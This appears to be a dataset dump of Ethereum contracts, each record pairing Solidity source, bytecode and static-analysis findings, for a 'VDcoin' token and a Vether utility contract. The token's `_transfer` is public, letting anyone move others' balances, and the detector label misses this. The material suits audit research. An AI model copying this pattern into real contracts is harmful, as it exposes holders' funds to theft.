6f6c63430005110032
{"success": true, "error": null, "results": {}}
41
0x8a5d3f4fde7c385cce186b59c532b1d5828f2690
//SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } contract Context { constructor () { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, Ownable, IERC20 { using SafeMath for uint; mapping (address => uint) internal _balances; mapping (address => mapping (address => uint)) internal _allowances; uint internal _totalSupply; bool burnActive = false; function totalSupply() public view override returns (uint) { return _totalSupply; } function balanceOf(address account) public view override returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address towner, address spender) public view override returns (uint) { return _allowances[towner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) public{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address towner, address spender, uint amount) internal { require(towner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[towner][spender] = amount; emit Approval(towner, spender, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: Mint to the zero address"); _balances[account] = _balances[account].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0), account, amount); } } contract ERC20Detailed is ERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory tname, string memory tsymbol, uint8 tdecimals) { _name = tname; _symbol = tsymbol; _decimals = tdecimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract VDC is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public _owner; constructor () ERC20Detailed("VDcoin", "VDC", 9) { _owner = msg.sender; _totalSupply = 1000000 *(10**uint256(9)); _balances[_owner] = _totalSupply; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610219578063b2bdfa7b1461022c578063dd62ed3e14610244578063f2fde38b1461027d57600080fd5b8063715018a6146101d15780638da5cb5b146101d957806395d89b41146101fe578063a457c2d71461020657600080fd5b806330e0789e116100d357806330e0789e1461016b578063313ce56714610180578063395093511461019557806370a08231146101a857600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610290565b60405161011a9190610a24565b60405180910390f35b6101366101313660046109fa565b610322565b604051901515815260200161011a565b6003545b60405190815260200161011a565b6101366101663660046109be565b610338565b61017e6101793660046109be565b6103a1565b005b60075460405160ff909116815260200161011a565b6101366101a33660046109fa565b610539565b61014a6101b6366004610970565b6001600160a01b031660009081526001602052604090205490565b61017e61056f565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b61010d610613565b6101366102143660046109fa565b610622565b6101366102273660046109fa565b610671565b6007546101e69061010090046001600160a01b031681565b61014a61025236600461098b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61017e61028b366004610970565b61067e565b60606005805461029f90610aa8565b80601f01602080910402602001604051908101604052809291908181526020018280546102cb90610aa8565b80156103185780601f106102ed57610100808354040283529160200191610318565b820191906000526020600020905b8154815290600101906020018083116102fb57829003601f168201915b5050505050905090565b600061032f338484610798565b50600192915050565b60006103458484846103a1565b610397843361039285604051806060016040528060288152602001610b20602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906108b4565b610798565b5060019392505050565b6001600160a01b03831661040a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661046c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610401565b6104a981604051806060016040528060268152602001610afa602691396001600160a01b03861660009081526001602052604090205491906108b4565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546104d890826108ee565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061052c9085815260200190565b60405180910390a3505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161032f91859061039290866108ee565b6000546001600160a01b031633146105c95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610401565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606006805461029f90610aa8565b600061032f338461039285604051806060016040528060258152602001610b48602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906108b4565b600061032f3384846103a1565b6000546001600160a01b031633146106d85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610401565b6001600160a01b03811661073d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610401565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107fa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610401565b6001600160a01b03821661085b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610401565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910161052c565b600081848411156108d85760405162461bcd60e51b81526004016104019190610a24565b5060006108e58486610a91565b95945050505050565b6000806108fb8385610a79565b90508381101561094d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610401565b9392505050565b80356001600160a01b038116811461096b57600080fd5b919050565b60006020828403121561098257600080fd5b61094d82610954565b6000806040838503121561099e57600080fd5b6109a783610954565b91506109b560208401610954565b90509250929050565b6000806000606084860312156109d357600080fd5b6109dc84610954565b92506109ea60208501610954565b9150604084013590509250925092565b60008060408385031215610a0d57600080fd5b610a1683610954565b946020939093013593505050565b600060208083528351808285015260005b81811015610a5157858101830151858201604001528201610a35565b81811115610a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610a8c57610a8c610ae3565b500190565b600082821015610aa357610aa3610ae3565b500390565b600181811c90821680610abc57607f821691505b60208210811415610add57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d4b6b7e1af6f8195fa00e7b88fb0e34915294af47df00dbb6dc309f5bcaa973e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
42
0x2e74525c491954be67e8847b087ed1c3c988635d
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.8; pragma experimental ABIEncoderV2; interface iERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint); function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); } interface iROUTER { function totalStaked() external view returns (uint); function totalVolume() external view returns (uint); function totalFees() external view returns (uint); function unstakeTx() external view returns (uint); function stakeTx() external view returns (uint); function swapTx() external view returns (uint); function tokenCount() external view returns(uint); function getToken(uint) external view returns(address); function getPool(address) external view returns(address payable); function stakeForMember(uint inputBase, uint inputToken, address token, address member) external payable returns (uint units); } interface iPOOL { function genesis() external view returns(uint); function baseAmt() external view returns(uint); function tokenAmt() external view returns(uint); function baseAmtStaked() external view returns(uint); function tokenAmtStaked() external view returns(uint); function fees() external view returns(uint); function volume() external view returns(uint); function txCount() external view returns(uint); function getBaseAmtStaked(address) external view returns(uint); function getTokenAmtStaked(address) external view returns(uint); function calcValueInBase(uint) external view returns (uint); function calcValueInToken(uint) external view returns (uint); function calcTokenPPinBase(uint) external view returns (uint); function calcBasePPinToken(uint) external view returns (uint); } interface iDAO { function ROUTER() external view returns(address); } // SafeMath library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Utils_Vether { using SafeMath for uint; address public BASE; address public DEPLOYER; iDAO public DAO; uint public one = 10**18; struct TokenDetails { string name; string symbol; uint decimals; uint totalSupply; uint balance; address tokenAddress; } struct ListedAssetDetails { string name; string symbol; uint decimals; uint totalSupply; uint balance; address tokenAddress; bool hasClaimed; } struct GlobalDetails { uint totalStaked; uint totalVolume; uint totalFees; uint unstakeTx; uint stakeTx; uint swapTx; } struct PoolDataStruct { address tokenAddress; address poolAddress; uint genesis; uint baseAmt; uint tokenAmt; uint baseAmtStaked; uint tokenAmtStaked; uint fees; uint volume; uint txCount; uint poolUnits; } // Only Deployer can execute modifier onlyDeployer() { require(msg.sender == DEPLOYER, "DeployerErr"); _; } constructor () public payable { BASE = 0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279; DEPLOYER = msg.sender; } function setGenesisDao(address dao) public onlyDeployer { DAO = iDAO(dao); } // function DAO() internal view returns(iDAO) { // return DAO; // } //====================================DATA-HELPERS====================================// function getTokenDetails(address token) public view returns (TokenDetails memory tokenDetails){ return getTokenDetailsWithMember(token, msg.sender); } function getTokenDetailsWithMember(address token, address member) public view returns (TokenDetails memory tokenDetails){ if(token == address(0)){ tokenDetails.name = 'ETHEREUM'; tokenDetails.symbol = 'ETH'; tokenDetails.decimals = 18; tokenDetails.totalSupply = 100000000 * 10**18; tokenDetails.balance = msg.sender.balance; } else { tokenDetails.name = iERC20(token).name(); tokenDetails.symbol = iERC20(token).symbol(); tokenDetails.decimals = iERC20(token).decimals(); tokenDetails.totalSupply = iERC20(token).totalSupply(); tokenDetails.balance = iERC20(token).balanceOf(member); } tokenDetails.tokenAddress = token; return tokenDetails; } function getGlobalDetails() public view returns (GlobalDetails memory globalDetails){ globalDetails.totalStaked = iROUTER(DAO.ROUTER()).totalStaked(); globalDetails.totalVolume = iROUTER(DAO.ROUTER()).totalVolume(); globalDetails.totalFees = iROUTER(DAO.ROUTER()).totalFees(); globalDetails.unstakeTx = iROUTER(DAO.ROUTER()).unstakeTx(); globalDetails.stakeTx = iROUTER(DAO.ROUTER()).stakeTx(); globalDetails.swapTx = iROUTER(DAO.ROUTER()).swapTx(); return globalDetails; } function getPool(address token) public view returns(address payable pool){ return iROUTER(DAO.ROUTER()).getPool(token); } function tokenCount() public view returns (uint256 count){ return iROUTER(DAO.ROUTER()).tokenCount(); } function allTokens() public view returns (address[] memory _allTokens){ return tokensInRange(0, iROUTER(DAO.ROUTER()).tokenCount()) ; } function tokensInRange(uint start, uint count) public view returns (address[] memory someTokens){ if(start.add(count) > tokenCount()){ count = tokenCount().sub(start); } address[] memory result = new address[](count); for (uint i = 0; i < count; i++){ result[i] = iROUTER(DAO.ROUTER()).getToken(i); } return result; } function allPools() public view returns (address[] memory _allPools){ return poolsInRange(0, tokenCount()); } function poolsInRange(uint start, uint count) public view returns (address[] memory somePools){ if(start.add(count) > tokenCount()){ count = tokenCount().sub(start); } address[] memory result = new address[](count); for (uint i = 0; i<count; i++){ result[i] = getPool(iROUTER(DAO.ROUTER()).getToken(i)); } return result; } function getPoolData(address token) public view returns(PoolDataStruct memory poolData){ address payable pool = getPool(token); poolData.poolAddress = pool; poolData.tokenAddress = token; poolData.genesis = iPOOL(pool).genesis(); poolData.baseAmt = iPOOL(pool).baseAmt(); poolData.tokenAmt = iPOOL(pool).tokenAmt(); poolData.baseAmtStaked = iPOOL(pool).baseAmtStaked(); poolData.tokenAmtStaked = iPOOL(pool).tokenAmtStaked(); poolData.fees = iPOOL(pool).fees(); poolData.volume = iPOOL(pool).volume(); poolData.txCount = iPOOL(pool).txCount(); poolData.poolUnits = iERC20(pool).totalSupply(); return poolData; } function getMemberShare(address token, address member) public view returns(uint baseAmt, uint tokenAmt){ address pool = getPool(token); uint units = iERC20(pool).balanceOf(member); return getPoolShare(token, units); } function getPoolShare(address token, uint units) public view returns(uint baseAmt, uint tokenAmt){ address payable pool = getPool(token); baseAmt = calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt()); tokenAmt = calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt()); return (baseAmt, tokenAmt); } function getShareOfBaseAmount(address token, address member) public view returns(uint baseAmt){ address payable pool = getPool(token); uint units = iERC20(pool).balanceOf(member); return calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt()); } function getShareOfTokenAmount(address token, address member) public view returns(uint baseAmt){ address payable pool = getPool(token); uint units = iERC20(pool).balanceOf(member); return calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt()); } function getPoolShareAssym(address token, uint units, bool toBase) public view returns(uint baseAmt, uint tokenAmt, uint outputAmt){ address payable pool = getPool(token); if(toBase){ baseAmt = calcAsymmetricShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt()); tokenAmt = 0; outputAmt = baseAmt; } else { baseAmt = 0; tokenAmt = calcAsymmetricShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt()); outputAmt = tokenAmt; } return (baseAmt, tokenAmt, outputAmt); } function getPoolAge(address token) public view returns (uint daysSinceGenesis){ address payable pool = getPool(token); uint genesis = iPOOL(pool).genesis(); if(now < genesis.add(86400)){ return 1; } else { return (now.sub(genesis)).div(86400); } } function getPoolROI(address token) public view returns (uint roi){ address payable pool = getPool(token); uint _baseStart = iPOOL(pool).baseAmtStaked().mul(2); uint _baseEnd = iPOOL(pool).baseAmt().mul(2); uint _ROIS = (_baseEnd.mul(10000)).div(_baseStart); uint _tokenStart = iPOOL(pool).tokenAmtStaked().mul(2); uint _tokenEnd = iPOOL(pool).tokenAmt().mul(2); uint _ROIA = (_tokenEnd.mul(10000)).div(_tokenStart); return (_ROIS + _ROIA).div(2); } function getPoolAPY(address token) public view returns (uint apy){ uint avgROI = getPoolROI(token); uint poolAge = getPoolAge(token); return (avgROI.mul(365)).div(poolAge); } function isMember(address token, address member) public view returns(bool){ address payable pool = getPool(token); if (iERC20(pool).balanceOf(member) > 0){ return true; } else { return false; } } //====================================PRICING====================================// function calcValueInBase(address token, uint amount) public view returns (uint value){ address payable pool = getPool(token); return calcValueInBaseWithPool(pool, amount); } function calcValueInToken(address token, uint amount) public view returns (uint value){ address payable pool = getPool(token); return calcValueInTokenWithPool(pool, amount); } function calcTokenPPinBase(address token, uint amount) public view returns (uint _output){ address payable pool = getPool(token); return calcTokenPPinBaseWithPool(pool, amount); } function calcBasePPinToken(address token, uint amount) public view returns (uint _output){ address payable pool = getPool(token); return calcValueInBaseWithPool(pool, amount); } function calcValueInBaseWithPool(address payable pool, uint amount) public view returns (uint value){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return (amount.mul(_baseAmt)).div(_tokenAmt); } function calcValueInTokenWithPool(address payable pool, uint amount) public view returns (uint value){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return (amount.mul(_tokenAmt)).div(_baseAmt); } function calcTokenPPinBaseWithPool(address payable pool, uint amount) public view returns (uint _output){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return calcSwapOutput(amount, _tokenAmt, _baseAmt); } function calcBasePPinTokenWithPool(address payable pool, uint amount) public view returns (uint _output){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return calcSwapOutput(amount, _baseAmt, _tokenAmt); } //====================================CORE-MATH====================================// function calcPart(uint bp, uint total) public pure returns (uint part){ // 10,000 basis points = 100.00% require((bp <= 10000) && (bp > 0), "Must be correct BP"); return calcShare(bp, 10000, total); } function calcShare(uint part, uint total, uint amount) public pure returns (uint share){ // share = amount * part/total return(amount.mul(part)).div(total); } function calcSwapOutput(uint x, uint X, uint Y) public pure returns (uint output){ // y = (x * X * Y )/(x + X)^2 uint numerator = x.mul(X.mul(Y)); uint denominator = (x.add(X)).mul(x.add(X)); return numerator.div(denominator); } function calcSwapFee(uint x, uint X, uint Y) public pure returns (uint output){ // y = (x * x * Y) / (x + X)^2 uint numerator = x.mul(x.mul(Y)); uint denominator = (x.add(X)).mul(x.add(X)); return numerator.div(denominator); } function calcSwapInputFee(uint x, uint X) public pure returns (uint output){ // slip = (x * x) / (x + X) uint numerator = x.mul(x); uint denominator = x.add(X); return numerator.div(denominator); } function calcStakeUnits(uint b, uint B, uint t, uint T, uint P) public view returns (uint units){ if(P == 0){ return b; } else { // units = ((P (t B + T b))/(2 T B)) * slipAdjustment // P * (part1 + part2) / (part3) * slipAdjustment uint slipAdjustment = getSlipAdustment(b, B, t, T); uint part1 = t.mul(B); uint part2 = T.mul(b); uint part3 = T.mul(B).mul(2); uint _units = (P.mul(part1.add(part2))).div(part3); return _units.mul(slipAdjustment).div(one); // Divide by 10**18 } } function getSlipAdustment(uint b, uint B, uint t, uint T) public view returns (uint slipAdjustment){ // slipAdjustment = (1 - ABS((B t - b T)/((2 b + B) (t + T)))) // 1 - ABS(part1 - part2)/(part3 * part4)) uint part1 = B.mul(t); uint part2 = b.mul(T); uint part3 = b.mul(2).add(B); uint part4 = t.add(T); uint numerator; if(part1 > part2){ numerator = part1.sub(part2); } else { numerator = part2.sub(part1); } uint denominator = part3.mul(part4); return one.sub((numerator.mul(one)).div(denominator)); // Multiply by 10**18 } function calcAsymmetricShare(uint u, uint U, uint A) public pure returns (uint share){ // share = (u * U * (2 * A^2 - 2 * U * u + U^2))/U^3 // (part1 * (part2 - part3 + part4)) / part5 uint part1 = u.mul(A); uint part2 = U.mul(U).mul(2); uint part3 = U.mul(u).mul(2); uint part4 = u.mul(u); uint numerator = part1.mul(part2.sub(part3).add(part4)); uint part5 = U.mul(U).mul(U); return numerator.div(part5); } }
0x608060405234801561001057600080fd5b50600436106102485760003560e01c806388aa8bee1161013b578063bbe4f6db116100b8578063c9650a331161007c578063c9650a331461051a578063cef7a09b1461052f578063db39dc7914610346578063ec342ad014610542578063f01e3e201461054a57610248565b8063bbe4f6db146104d1578063bd9caa58146104e4578063c0c4a724146104f7578063c1b8411a1461050a578063c5c63e651461051257610248565b80639f181b5e116100ff5780639f181b5e1461047d578063b0d76a1014610485578063b23b416d14610498578063b49413e4146104ab578063b7cf309e146104be57610248565b806388aa8bee14610419578063896a708c1461042c578063901717d11461043f57806390d1cb001461044757806398fabd3a1461046857610248565b8063462232d8116101c95780636da0f1fc1161018d5780636da0f1fc146103b85780636ff97f1d146103cb578063701baaf3146103e0578063714270ab146103f357806372af92281461040657610248565b8063462232d81461035957806349407a721461036c5780634a1276511461037f578063607ec3c4146103925780636b940d0f146103a557610248565b8063254406d411610210578063254406d4146102eb57806326d768e9146102fe578063389b7b5b1461031157806339ac7a0814610326578063410521b71461034657610248565b80630e1743911461024d57806313d21cdf1461027857806317a7d336146102985780631b70044c146102b85780631ba326c4146102d8575b600080fd5b61026061025b366004612d9f565b61055d565b60405161026f939291906131cc565b60405180910390f35b61028b610286366004612cf2565b61072a565b60405161026f91906130b3565b6102ab6102a6366004612d2a565b610ba4565b60405161026f91906131b5565b6102cb6102c6366004612d55565b610cba565b60405161026f9190613140565b6102ab6102e6366004612eae565b610fb3565b6102ab6102f9366004612d2a565b610fd1565b6102ab61030c366004612cf2565b6110c7565b6103196110f8565b60405161026f919061306f565b610339610334366004612d55565b6116b4565b60405161026f9190612fde565b6102ab610354366004612d8d565b61175a565b6102ab610367366004612e8d565b611772565b6102ab61037a366004612d8d565b6117ab565b6102ab61038d366004612eae565b6117c3565b6102ab6103a0366004612f0a565b611894565b6102ab6103b3366004612d2a565b611944565b6102ab6103c6366004612ed9565b611a3a565b6103d3611b12565b60405161026f9190612f91565b6102ab6103ee366004612eae565b611c14565b6102ab610401366004612e8d565b611c6d565b6102ab610414366004612d2a565b611cba565b6102cb610427366004612cf2565b611db9565b6102ab61043a366004612eae565b611dcb565b6102ab611de1565b61045a610455366004612d55565b611de7565b60405161026f9291906131be565b610470611e8e565b60405161026f9190612f7d565b6102ab611e9d565b6103d3610493366004612e8d565b611f8a565b6102ab6104a6366004612cf2565b612143565b6102ab6104b9366004612cf2565b61220b565b6103d36104cc366004612e8d565b6123ad565b6104706104df366004612cf2565b61255a565b61045a6104f2366004612d8d565b612652565b6102ab610505366004612d8d565b612802565b61047061281a565b6103d3612829565b61052d610528366004612cf2565b612838565b005b6102ab61053d366004612d55565b612884565b6104706129c0565b6102ab610558366004612d55565b6129cf565b60008060008061056c8761255a565b905084156106685761065a86826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105b157600080fd5b505afa1580156105c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e99190612e75565b836001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b15801561062257600080fd5b505afa158015610636573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061038d9190612e75565b935060009250839150610720565b6000935061071a86826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156106a957600080fd5b505afa1580156106bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e19190612e75565b836001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b15801561062257600080fd5b92508291505b5093509350939050565b610732612c11565b600061073d8361255a565b6001600160a01b0380821660208086018290529186168552604080516353f859ef60e11b81529051939450909263a7f0b3de92600480840193919291829003018186803b15801561078d57600080fd5b505afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c59190612e75565b826040018181525050806001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b15801561080757600080fd5b505afa15801561081b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083f9190612e75565b826060018181525050806001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b15801561088157600080fd5b505afa158015610895573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b99190612e75565b826080018181525050806001600160a01b031663c35d6e286040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fb57600080fd5b505afa15801561090f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109339190612e75565b8260a0018181525050806001600160a01b031663c2c080686040518163ffffffff1660e01b815260040160206040518083038186803b15801561097557600080fd5b505afa158015610989573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ad9190612e75565b8260c0018181525050806001600160a01b0316639af1d35a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ef57600080fd5b505afa158015610a03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a279190612e75565b8260e0018181525050806001600160a01b031663c618a1e46040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6957600080fd5b505afa158015610a7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa19190612e75565b82610100018181525050806001600160a01b0316633c5406876040518163ffffffff1660e01b815260040160206040518083038186803b158015610ae457600080fd5b505afa158015610af8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1c9190612e75565b82610120018181525050806001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5f57600080fd5b505afa158015610b73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b979190612e75565b610140830152505b919050565b600080836001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b158015610be057600080fd5b505afa158015610bf4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c189190612e75565b90506000846001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5557600080fd5b505afa158015610c69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8d9190612e75565b9050610caf82610ca3868463ffffffff612b0b16565b9063ffffffff612b4516565b925050505b92915050565b610cc2612c7d565b6001600160a01b038316610d32576040805180820182526008815267455448455245554d60c01b60208083019190915290835281518083018352600381526208aa8960eb1b81830152908301526012908201526a52b7d2dcc80cd2e4000000606082015233316080820152610f9e565b826001600160a01b03166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b158015610d6b57600080fd5b505afa158015610d7f573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610da79190810190612de4565b8160000181905250826001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b158015610de857600080fd5b505afa158015610dfc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526